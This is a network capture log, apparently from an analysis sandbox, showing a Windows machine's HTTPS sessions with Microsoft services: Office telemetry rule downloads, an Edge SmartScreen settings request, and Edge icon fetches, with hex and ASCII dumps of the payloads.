Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:38 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 02:42:38 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:38 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: bbf47203-201e-003f-3a8e-376d94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T024238Z-16547b76f7fr5rfnhC1DFW0am4000000014g00000000c5h0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 02:42:38 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.5	49852	40.118.171.167	443	7464	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:38 UTC	698	OUT	POST /api/browser/edge/data/settings/3 HTTP/1.1 Host: data-edge.smartscreen.microsoft.com Connection: keep-alive Content-Length: 739 Accept: application/octet-stream;application/x-patch-bsdiff; Authorization: SmartScreenHash eyJhdXRoSWQiOiI0MWE0MzhiYy0xMjQ5LTQzZDMtYTI2ZC02OWNkNjJjMDgzMTciLCAia2V5Ijoid0dGM1R3SkN1OFI2Skt0Ty9UakhJQT09IiwgImhhc2giOiIvRjQzRFdVS2tURT0ifQ== Content-Type: application/json; charset=utf-8 If-None-Match: "2.0-0" Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br
2024-11-17 02:42:38 UTC	739	OUT	Data Raw: 7b 22 69 64 65 6e 74 69 74 79 22 3a 7b 22 75 73 65 72 22 3a 7b 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 7d 2c 22 64 65 76 69 63 65 22 3a 7b 22 69 64 22 3a 6e 75 6c 6c 2c 22 63 75 73 74 6f 6d 49 64 22 3a 6e 75 6c 6c 2c 22 6f 6e 6c 69 6e 65 49 64 54 69 63 6b 65 74 22 3a 6e 75 6c 6c 2c 22 66 61 6d 69 6c 79 22 3a 33 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 2c 22 6f 73 56 65 72 73 69 6f 6e 22 3a 22 31 30 2e 30 2e 31 39 30 34 35 2e 32 30 30 36 2e 76 62 5f 72 65 6c 65 61 73 65 22 2c 22 62 72 6f 77 73 65 72 22 3a 7b 22 69 6e 74 65 72 6e 65 74 5f 65 78 70 6c 6f 72 65 72 22 3a 22 39 2e 31 31 2e 31 39 30 34 31 2e 30 22 7d 2c 22 6e 65 74 4a 6f 69 6e 53 74 61 74 75 73 22 3a 32 2c 22 65 6e 74 65 72 70 72 69 73 65 22 3a 7b 7d 2c 22 63 6c 6f 75 64 53 6b Data Ascii: {"identity":{"user":{"locale":"en-GB"},"device":{"id":null,"customId":null,"onlineIdTicket":null,"family":3,"locale":"en-GB","osVersion":"10.0.19045.2006.vb_release","browser":{"internet_explorer":"9.11.19041.0"},"netJoinStatus":2,"enterprise":{},"cloudSk
2024-11-17 02:42:39 UTC	302	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:39 GMT Content-Type: application/octet-stream Content-Length: 130439 Connection: close Server: Kestrel ETag: "2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1" Request-Context: appId=cid-v1:3d5e3eff-de07-43c3-a15d-06b05ff513c8
2024-11-17 02:42:39 UTC	16082	IN	Data Raw: 7b 0d 0a 20 20 22 67 65 6f 69 64 4d 61 70 73 22 3a 20 7b 0d 0a 20 20 20 20 22 61 75 22 3a 20 22 68 74 74 70 73 3a 2f 2f 61 75 73 74 72 61 6c 69 61 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 63 68 22 3a 20 22 68 74 74 70 73 3a 2f 2f 73 77 69 74 7a 65 72 6c 61 6e 64 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 65 75 22 3a 20 22 68 74 74 70 73 3a 2f 2f 65 75 72 6f 70 65 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 66 66 6c 34 22 3a 20 22 68 74 74 70 73 3a 2f 2f 75 6e 69 74 65 64 73 74 61 74 65 73 31 2e 73 73 2e 77 64 2e 6d 69 63 72 6f 73 6f 66 74 2e 75 73 2f 22 2c 0d 0a Data Ascii: { "geoidMaps": { "au": "https://australia.smartscreen.microsoft.com/", "ch": "https://switzerland.smartscreen.microsoft.com/", "eu": "https://europe.smartscreen.microsoft.com/", "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",
2024-11-17 02:42:39 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 30 39 63 34 37 36 32 37 62 63 35 33 33 62 35 39 32 34 61 30 35 35 61 30 34 62 63 34 63 33 33 65 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 39 2e 35 38 33 34 34 30 31 37 37 34 34 37 38 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 65 36 33 34 65 62 32 30 64 62 35 30 38 65 33 61 33 31 62 36 31 34 38 31 61 32 35 31 62 66 39 33 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 30 2e 33 33 37 30 36 38 35 39 32 37 38 32 37 33 35 0d 0a 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: { "key": "09c47627bc533b5924a055a04bc4c33e", "value": 9.58344017744784 }, { "key": "e634eb20db508e3a31b61481a251bf93", "value": -0.337068592782735
2024-11-17 02:42:39 UTC	16384	IN	Data Raw: 30 37 37 37 34 37 33 33 30 39 35 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 31 32 62 62 65 66 63 30 35 64 35 31 34 32 65 37 65 62 36 38 36 66 61 64 38 64 65 61 39 32 31 31 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 30 35 37 31 37 37 35 33 31 31 38 30 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 65 35 66 62 38 64 66 31 32 35 61 34 37 32 31 64 31 64 66 33 32 38 62 63 36 66 32 64 64 65 61 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a Data Ascii: 07774733095 }, { "key": "12bbefc05d5142e7eb686fad8dea9211", "value": -1.05717753118094 }, { "key": "ce5fb8df125a4721d1df328bc6f2ddea", "value":
2024-11-17 02:42:39 UTC	16384	IN	Data Raw: 20 2d 31 2e 39 30 31 33 34 36 37 39 37 33 36 34 32 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 66 32 33 35 64 63 66 36 62 34 32 39 62 61 34 31 36 64 63 65 37 34 64 34 62 36 66 62 63 34 37 62 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 31 2e 32 36 30 31 38 31 31 38 35 36 30 38 38 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 38 66 31 37 64 37 34 30 33 61 63 35 66 66 32 38 39 36 61 37 31 33 61 37 31 37 35 65 64 31 39 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 Data Ascii: -1.9013467973642 }, { "key": "f235dcf6b429ba416dce74d4b6fbc47b", "value": 1.26018118560884 }, { "key": "c8f17d7403ac5ff2896a713a7175ed19", "va
2024-11-17 02:42:39 UTC	16384	IN	Data Raw: 36 62 64 32 65 65 33 36 63 30 33 66 36 66 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 35 2e 38 35 39 38 36 34 33 39 33 34 36 35 37 36 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 65 66 64 32 61 66 36 30 63 38 35 30 31 39 33 31 63 62 39 63 37 33 36 62 35 61 64 37 34 66 36 35 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 33 2e 39 35 36 39 39 35 33 35 33 36 34 30 30 33 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 32 63 38 34 38 35 34 38 64 34 36 30 63 Data Ascii: 6bd2ee36c03f6f", "value": 5.85986439346576 }, { "key": "efd2af60c8501931cb9c736b5ad74f65", "value": 3.95699535364003 }, { "key": "2c848548d460c
2024-11-17 02:42:39 UTC	16384	IN	Data Raw: 20 22 6b 65 79 22 3a 20 22 65 31 36 38 36 30 37 38 64 31 62 36 30 64 33 35 31 64 61 35 61 38 37 35 34 33 61 32 61 36 36 33 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 37 2e 35 30 36 36 35 35 32 34 32 36 32 35 35 31 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 33 61 33 34 31 37 66 35 66 32 30 61 30 33 61 39 38 39 37 33 36 38 39 38 38 37 66 62 37 32 61 32 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 37 34 39 32 32 35 31 37 36 34 32 37 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 Data Ascii: "key": "e1686078d1b60d351da5a87543a2a663", "value": 7.50665524262551 }, { "key": "3a3417f5f20a03a98973689887fb72a2", "value": -1.74922517642794 }, {
2024-11-17 02:42:39 UTC	16384	IN	Data Raw: 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 62 30 64 61 32 37 35 35 32 30 39 31 38 65 32 33 64 64 36 31 35 65 32 61 37 34 37 35 32 38 66 31 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 30 2e 39 37 36 31 34 30 37 39 32 39 31 35 33 37 33 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 66 61 62 31 62 61 38 63 36 37 63 37 63 38 33 38 64 62 39 38 64 36 36 36 66 30 32 61 31 33 32 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 31 31 37 38 37 35 38 36 30 34 35 30 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a Data Ascii: { "key": "b0da275520918e23dd615e2a747528f1", "value": -0.976140792915373 }, { "key": "cfab1ba8c67c7c838db98d666f02a132", "value": -1.11787586045094 },
2024-11-17 02:42:40 UTC	16053	IN	Data Raw: 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 64 65 39 35 62 34 33 62 63 65 65 62 34 62 39 39 38 61 65 64 34 61 65 64 35 63 65 66 31 61 65 37 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 30 33 33 31 39 35 35 36 37 30 31 31 37 37 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 61 64 64 65 63 34 32 36 39 33 32 65 37 31 33 32 33 37 30 30 61 66 61 31 39 31 31 66 38 66 31 63 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 30 2e 31 36 30 39 38 34 33 32 38 39 38 35 39 32 34 0d Data Ascii: }, { "key": "de95b43bceeb4b998aed4aed5cef1ae7", "value": -1.03319556701177 }, { "key": "addec426932e71323700afa1911f8f1c", "value": 0.160984328985924

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.5	49853	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:39 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 02:42:39 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:39 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: dcb3d461-101e-000b-6d69-355e5c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T024239Z-1866b5c5fbbfkdfghC1DFW4sv400000002vg000000003u93 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 02:42:39 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.5	49854	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:39 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 02:42:39 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:39 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: cf25fe23-201e-0000-80af-36a537000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T024239Z-16547b76f7fw2955hC1DFWsptc000000043g00000000k2uy x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 02:42:39 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.5	49855	13.107.246.57	443	7464	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:39 UTC	425	OUT	GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-17 02:42:39 UTC	536	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:39 GMT Content-Type: image/png Content-Length: 1154 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:30 GMT ETag: 0x8DBD5935D5B3965 x-ms-request-id: c8ab257f-901e-0026-141d-37f3b3000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241117T024239Z-16547b76f7fjx5nrhC1DFW4dsc00000000t000000000kr6h Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 02:42:39 UTC	1154	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 04 17 49 44 41 54 78 01 ed 97 cf 6f db 64 18 c7 bf 76 6a ea 34 69 e3 26 4b d4 b4 30 d2 f1 ab 4c 9a 96 c1 6e ed a1 30 0e 5c 10 4c b0 d3 0e ed 05 c1 05 35 3d ec 00 97 66 ff 41 72 43 02 a9 1a bb 70 03 c4 0d 6d 62 48 4c e2 f7 3a 0a 62 17 56 6b ab d6 aa cd 1a 37 4d 66 c7 89 fd ee 7d 9d 25 6b 1b 27 b1 1b 57 bd e4 23 39 f1 ef 7e fa 3c ef f3 bc 6f 80 1e 3d 8e 16 ce e9 8d c2 87 3f 24 4d 42 7e 04 88 04 2f e1 20 13 82 ac f9 e5 db 19 bb cb 3c 1c 62 10 73 d1 73 39 06 41 82 03 b7 80 d9 6f 6c df ed 38 82 13 5f 6f 10 b8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxodvj4i&K0Ln0\L5=fArCpmbHL:bVk7Mf}%k'W#9~<o=?$MB~/ <bss9Aol8_o

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.5	49856	13.107.246.57	443	7464	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:39 UTC	431	OUT	GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-17 02:42:39 UTC	536	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:39 GMT Content-Type: image/png Content-Length: 1468 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:14 GMT ETag: 0x8DBDCB5E23DFC43 x-ms-request-id: fa67fb9f-101e-0051-031f-3876f2000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241117T024239Z-16547b76f7fht2hfhC1DFWbngg000000041000000000hdhu Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 02:42:39 UTC	1468	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 51 49 44 41 54 78 01 ed 97 4b 6c 54 55 18 c7 ff e7 4e 19 62 da e0 b0 a1 01 03 5c 82 51 7c 52 16 1a 6d 6b 42 57 c4 c7 c2 2e 8c 26 24 46 62 44 17 26 b4 04 62 5c a0 ad 1a 63 dc c8 82 85 89 26 b4 09 68 89 1a a7 18 79 24 1a c6 05 75 41 02 17 19 23 46 03 13 10 4a 35 c8 50 fa 9a b9 f7 9c cf ef 3c ee 74 a6 96 76 da a6 2b e6 4b 4f ef cc b9 e7 9e ef 77 ff df e3 de 01 6a 56 b3 9a d5 ec ce 36 81 45 b6 cd 67 28 85 89 89 14 22 f8 20 e9 4b 0f 29 41 22 25 3c ac 85 42 8a a4 f2 a9 a8 52 8d e1 c5 d4 d5 70 75 3e 49 de a6 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaQIDATxKlTUNb\Q\|RmkBW.&$FbD&b\c&hy$uA#FJ5P<tv+KOwjV6Eg(" K)A"%<BRpu>I

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.5	49857	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:39 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 02:42:39 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:39 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: bb2e9763-101e-0079-2c7d-375913000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T024239Z-164f84587bfdl84ghC1DFWbbhc00000003yg0000000033dx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 02:42:39 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.5	49861	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:39 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
